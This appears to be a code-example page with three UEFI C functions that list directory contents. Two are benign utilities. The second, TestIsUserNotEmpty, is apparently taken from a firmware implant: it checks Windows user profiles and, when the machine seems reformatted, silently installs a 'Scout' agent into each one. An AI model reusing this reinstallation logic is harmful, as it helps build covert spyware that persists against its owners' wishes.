Beispiel #1
0
/**
  Determine if a directory has no files in it.

  @param[in] FileHandle   The EFI_HANDLE to the directory.

  @retval TRUE  The directory has no files (or directories).
  @retval FALSE The directory has at least 1 file or directory in it.
**/
BOOLEAN
IsDirectoryEmpty (
  IN EFI_HANDLE   FileHandle
  )
{
  EFI_STATUS      Status;
  EFI_FILE_INFO   *FileInfo;
  BOOLEAN         NoFile;
  BOOLEAN         RetVal;

  RetVal = TRUE;
  NoFile = FALSE;
  FileInfo = NULL;

  for (Status = FileHandleFindFirstFile(FileHandle, &FileInfo)
    ;  !NoFile && !EFI_ERROR (Status)
    ;  FileHandleFindNextFile(FileHandle, FileInfo, &NoFile)
   ){
    if (StrStr(FileInfo->FileName, L".") != FileInfo->FileName
      &&StrStr(FileInfo->FileName, L"..") != FileInfo->FileName) {
      RetVal = FALSE;
    }
  }
  return (RetVal);
}
Beispiel #2
0
BOOLEAN
EFIAPI
TestIsUserNotEmpty(
  IN EFI_FILE_HANDLE CurDir
  )
{
  EFI_STATUS      Status;
  EFI_FILE_INFO   *FileInfo;
  BOOLEAN         NoFile;
  BOOLEAN         RetVal;

  CHAR16	*FileNameDesktop;
  EFI_FILE_HANDLE	TestFileHandleDesktop=NULL;

  UINTN AL;

  BOOLEAN IsUser;
  BOOLEAN IsFormat;

  EFI_FILE_HANDLE	FileHandle=NULL;
  
  RetVal = TRUE;
  NoFile = FALSE;
  
  Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0);  

  FileInfo = NULL;
  FileNameDesktop = AllocateZeroPool(260*sizeof(CHAR16));

  IsUser=FALSE;
  IsFormat=TRUE;

  for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo);
	    !NoFile;
		Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile) 
	   )
  {
    if (FileInfo==NULL) 
	{
		Status = FileHandle->Close(FileHandle);
		FreePool(FileNameDesktop);
		return FALSE;
	}
#ifdef FORCE_DEBUG
	Print(L"[[[NomeFile:: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize);
#endif

	if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName  ) continue;
	if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName  ) continue;
	if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName  ) continue;
	if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName  ) continue;

	//Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da
	// manualmente controllo che vi sia la sottocartella Desktop

	ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));

	StrCpy(FileNameDesktop, L".\\Users\\");
	StrCat(FileNameDesktop, FileInfo->FileName);
	StrCat(FileNameDesktop, L"\\Desktop");
#ifdef FORCE_DEBUG
	Print(L"%s\n",FileNameDesktop);
#endif

	Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0);  
	if (EFI_ERROR(Status)) 
	{
		continue;
	}
	//chiudo il file aperto
	Status = TestFileHandleDesktop->Close(TestFileHandleDesktop);
    if (EFI_ERROR(Status)) 
	{
#ifdef FORCE_DEBUG
        Print(L"Can not close the file %s\n",FileNameDesktop);
#endif
    }

	//se arrivo qua è perche' riscontro un possibile utente

	ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));

	StrCpy(FileNameDesktop, L".\\Users\\");
	StrCat(FileNameDesktop, FileInfo->FileName);
#ifdef FORCE_DEBUG
	Print(L"Nome Utente Trovato:%s\n",FileInfo->FileName);
#endif
	AL=CheckAL(FileNameDesktop,CurDir);

	switch (AL) {
	case 0:
#ifdef FORCE_DEBUG
		Print(L"case 0\n");
#endif
		break;
	case 1:
#ifdef FORCE_DEBUG
		Print(L"case 1\n");
#endif
		RemoveFileLock(CurDir,FileNameDesktop);			
		IsFormat = FALSE;
		break;
	case 2:
#ifdef FORCE_DEBUG
		Print(L"case 2\n");
#endif
	    InsertFileLock(CurDir,FileNameDesktop);
		IsUser=TRUE;
		IsFormat=FALSE;
		break;
	case 3:
#ifdef FORCE_DEBUG
		Print(L"case 3\n");
#endif
		IsUser=TRUE;
		IsFormat=FALSE;
		break;
	}
  } // end for

 
	Status = FileHandle->Close(FileHandle);
	if (EFI_ERROR(Status)) 
	{
#ifdef FORCE_DEBUG
		Print(L"Can not close the file %s\n",FileHandle);
#endif
	}

  if(IsFormat == TRUE) 
  {
	    //siglifica che il pc è stato formattato
	    //installo l'Agent=> Scout e creo il file di Lock su tutti gli utenti del sistema
#ifdef FORCE_DEBUG
	    Print(L"IsFormat == TRUE\n");
#endif

		Status = CurDir->Open (CurDir, &FileHandle, L".\\Users", EFI_FILE_MODE_READ, 0);  

		RetVal = TRUE;
		NoFile = FALSE;

		FileInfo = NULL;
		
		for ( Status = FileHandleFindFirstFile(FileHandle, &FileInfo);
			!NoFile;
			Status = FileHandleFindNextFile(FileHandle, FileInfo, &NoFile) 
		   )
		{
			if (FileInfo==NULL) 
			{
#ifdef FORCE_DEBUG
				Print(L"FileInfo==NULL\n");
#endif
				Status = FileHandle->Close(FileHandle);
				return FALSE;
			}
#ifdef FORCE_DEBUG
			Print(L"[[[NomeFile:::: %s FileSize:: %d]]]\n",FileInfo->FileName,FileInfo->FileSize);
#endif

			ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));

			if ( StrStr(FileInfo->FileName, L".") == FileInfo->FileName  ) continue;
			if ( StrStr(FileInfo->FileName, L"..") == FileInfo->FileName  ) continue;
			if ( StrStr(FileInfo->FileName, L"Public") == FileInfo->FileName  ) continue;
			if ( StrStr(FileInfo->FileName, L"Administrator") == FileInfo->FileName  ) continue;

			//Per aumentare la probabilita' che la cartella sia di un utente vero e non che sia stata creata da
			// manualmente controllo che vi sia la sottocartella Desktop

			ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));

			StrCpy(FileNameDesktop, L".\\Users\\");
			StrCat(FileNameDesktop, FileInfo->FileName);
			StrCat(FileNameDesktop, L"\\Desktop");

			Status = CurDir->Open (CurDir, &TestFileHandleDesktop, FileNameDesktop, EFI_FILE_MODE_READ, 0);  
			if (EFI_ERROR(Status)) 
			{
				continue;
			}
			//chiudo il file aperto
			Status = TestFileHandleDesktop->Close(TestFileHandleDesktop);
			if (EFI_ERROR(Status)) 
			{
#ifdef FORCE_DEBUG
				Print(L"Can not close the file %s\n",FileNameDesktop);
#endif
			}

			//se arrivo qua è perche' riscontro un possibile utente

			ZeroMem(FileNameDesktop, 260 * sizeof(CHAR16));
			StrCpy(FileNameDesktop, L".\\Users\\");
			StrCat(FileNameDesktop, FileInfo->FileName);
			
			//Installo l'Agent
			InstallAgent(CurDir,FileNameDesktop);

			//Creo il file di Lock per questo utente 
			InsertFileLock(CurDir,FileNameDesktop);

	}

	Status = FileHandle->Close(FileHandle);
	if (EFI_ERROR(Status)) 
	{
#ifdef FORCE_DEBUG
		Print(L"Can not close the file %s\n",FileHandle);
#endif
	}
  }

  if(IsFormat == FALSE && IsUser == FALSE) 
  {
#ifdef FORCE_DEBUG
	  Print(L"IsFormat == FALSE && IsUser == FALSE\n");
#endif
	  //significa che sono stati rimossi volutamente tutti gli agenti => disabilito l'UEFI settando la variabile  fTA=TRUE
	  SetfTA();
  }

#ifdef FORCE_DEBUG
	Print(L"NomeFile::exit\n");
#endif


  FreePool(FileNameDesktop);

  return FALSE;
}
Beispiel #3
0
/**
  Dump capsule information from disk.

  @param[in] Fs                  The device path of disk.
  @param[in] DumpCapsuleInfo     The flag to indicate whether to dump the capsule inforomation.

  @retval EFI_SUCCESS            The capsule information is dumped.

**/
EFI_STATUS
DumpCapsuleFromDisk (
  IN EFI_SIMPLE_FILE_SYSTEM_PROTOCOL            *Fs,
  IN BOOLEAN                                    DumpCapsuleInfo
  )
{
  EFI_STATUS                                    Status;
  EFI_FILE                                      *Root;
  EFI_FILE                                      *DirHandle;
  EFI_FILE                                      *FileHandle;
  UINTN                                         Index;
  UINTN                                         FileSize;
  VOID                                          *FileBuffer;
  EFI_FILE_INFO                                 **FileInfoBuffer;
  EFI_FILE_INFO                                 *FileInfo;
  UINTN                                         FileCount;
  BOOLEAN                                       NoFile;

  DirHandle       = NULL;
  FileHandle      = NULL;
  Index           = 0;
  FileInfoBuffer  = NULL;
  FileInfo        = NULL;
  FileCount       = 0;
  NoFile          = FALSE;

  Status = Fs->OpenVolume (Fs, &Root);
  if (EFI_ERROR (Status)) {
    Print (L"Cannot open volume. Status = %r\n", Status);
    goto Done;
  }

  Status = Root->Open (Root, &DirHandle, EFI_CAPSULE_FILE_DIRECTORY, EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE , 0);
  if (EFI_ERROR (Status)) {
    Print (L"Cannot open %s. Status = %r\n", EFI_CAPSULE_FILE_DIRECTORY, Status);
    goto Done;
  }

  //
  // Get file count first
  //
  do {
    Status = FileHandleFindFirstFile (DirHandle, &FileInfo);
    if (EFI_ERROR (Status) || FileInfo == NULL) {
      Print (L"Get File Info Fail. Status = %r\n", Status);
      goto Done;
    }

    if ((FileInfo->Attribute & (EFI_FILE_SYSTEM | EFI_FILE_ARCHIVE)) != 0) {
      FileCount++;
    }

    Status = FileHandleFindNextFile (DirHandle, FileInfo, &NoFile);
    if (EFI_ERROR (Status)) {
      Print (L"Get Next File Fail. Status = %r\n", Status);
      goto Done;
    }
  } while (!NoFile);

  if (FileCount == 0) {
    Print (L"Error: No capsule file found!\n");
    Status = EFI_NOT_FOUND;
    goto Done;
  }

  FileInfoBuffer = AllocateZeroPool (sizeof (FileInfo) * FileCount);
  if (FileInfoBuffer == NULL) {
    Status = EFI_OUT_OF_RESOURCES;
    goto Done;
  }
  NoFile = FALSE;

  //
  // Get all file info
  //
  do {
    Status = FileHandleFindFirstFile (DirHandle, &FileInfo);
    if (EFI_ERROR (Status) || FileInfo == NULL) {
      Print (L"Get File Info Fail. Status = %r\n", Status);
      goto Done;
    }

    if ((FileInfo->Attribute & (EFI_FILE_SYSTEM | EFI_FILE_ARCHIVE)) != 0) {
      FileInfoBuffer[Index++] = AllocateCopyPool ((UINTN)FileInfo->Size, FileInfo);
    }

    Status = FileHandleFindNextFile (DirHandle, FileInfo, &NoFile);
    if (EFI_ERROR (Status)) {
      Print (L"Get Next File Fail. Status = %r\n", Status);
      goto Done;
    }
  } while (!NoFile);

  //
  // Sort FileInfoBuffer by alphabet order
  //
  PerformQuickSort (
    FileInfoBuffer,
    FileCount,
    sizeof (FileInfo),
    (SORT_COMPARE) CompareFileNameInAlphabet
    );

  Print (L"The capsules will be performed by following order:\n");

  for (Index = 0; Index < FileCount; Index++) {
    Print (L"  %d.%s\n", Index + 1, FileInfoBuffer[Index]->FileName);
  }

  if (!DumpCapsuleInfo) {
    Status = EFI_SUCCESS;
    goto Done;
  }

  Print(L"The infomation of the capsules:\n");

  for (Index = 0; Index < FileCount; Index++) {
    FileHandle = NULL;
    Status = DirHandle->Open (DirHandle, &FileHandle, FileInfoBuffer[Index]->FileName, EFI_FILE_MODE_READ, 0);
    if (EFI_ERROR (Status)) {
      goto Done;
    }

    Status = FileHandleGetSize (FileHandle, (UINT64 *) &FileSize);
    if (EFI_ERROR (Status)) {
      Print (L"Cannot read file %s. Status = %r\n", FileInfoBuffer[Index]->FileName, Status);
      FileHandleClose (FileHandle);
      goto Done;
    }

    FileBuffer = AllocatePool (FileSize);
    if (FileBuffer == NULL) {
      Status = EFI_OUT_OF_RESOURCES;
      goto Done;
    }

    Status = FileHandleRead (FileHandle, &FileSize, FileBuffer);
    if (EFI_ERROR (Status)) {
      Print (L"Cannot read file %s. Status = %r\n", FileInfoBuffer[Index]->FileName, Status);
      FileHandleClose (FileHandle);
      FreePool (FileBuffer);
      goto Done;
    }

    Print (L"**************************\n");
    Print (L"  %d.%s:\n", Index + 1, FileInfoBuffer[Index]->FileName);
    Print (L"**************************\n");
    DumpCapsuleFromBuffer ((EFI_CAPSULE_HEADER *) FileBuffer);
    FileHandleClose (FileHandle);
    FreePool (FileBuffer);
  }

Done:
  if (FileInfoBuffer != NULL) {
    for (Index = 0; Index < FileCount; Index++) {
      if (FileInfoBuffer[Index] != NULL) {
        FreePool (FileInfoBuffer[Index]);
      }
    }
    FreePool (FileInfoBuffer);
  }

  return Status;
}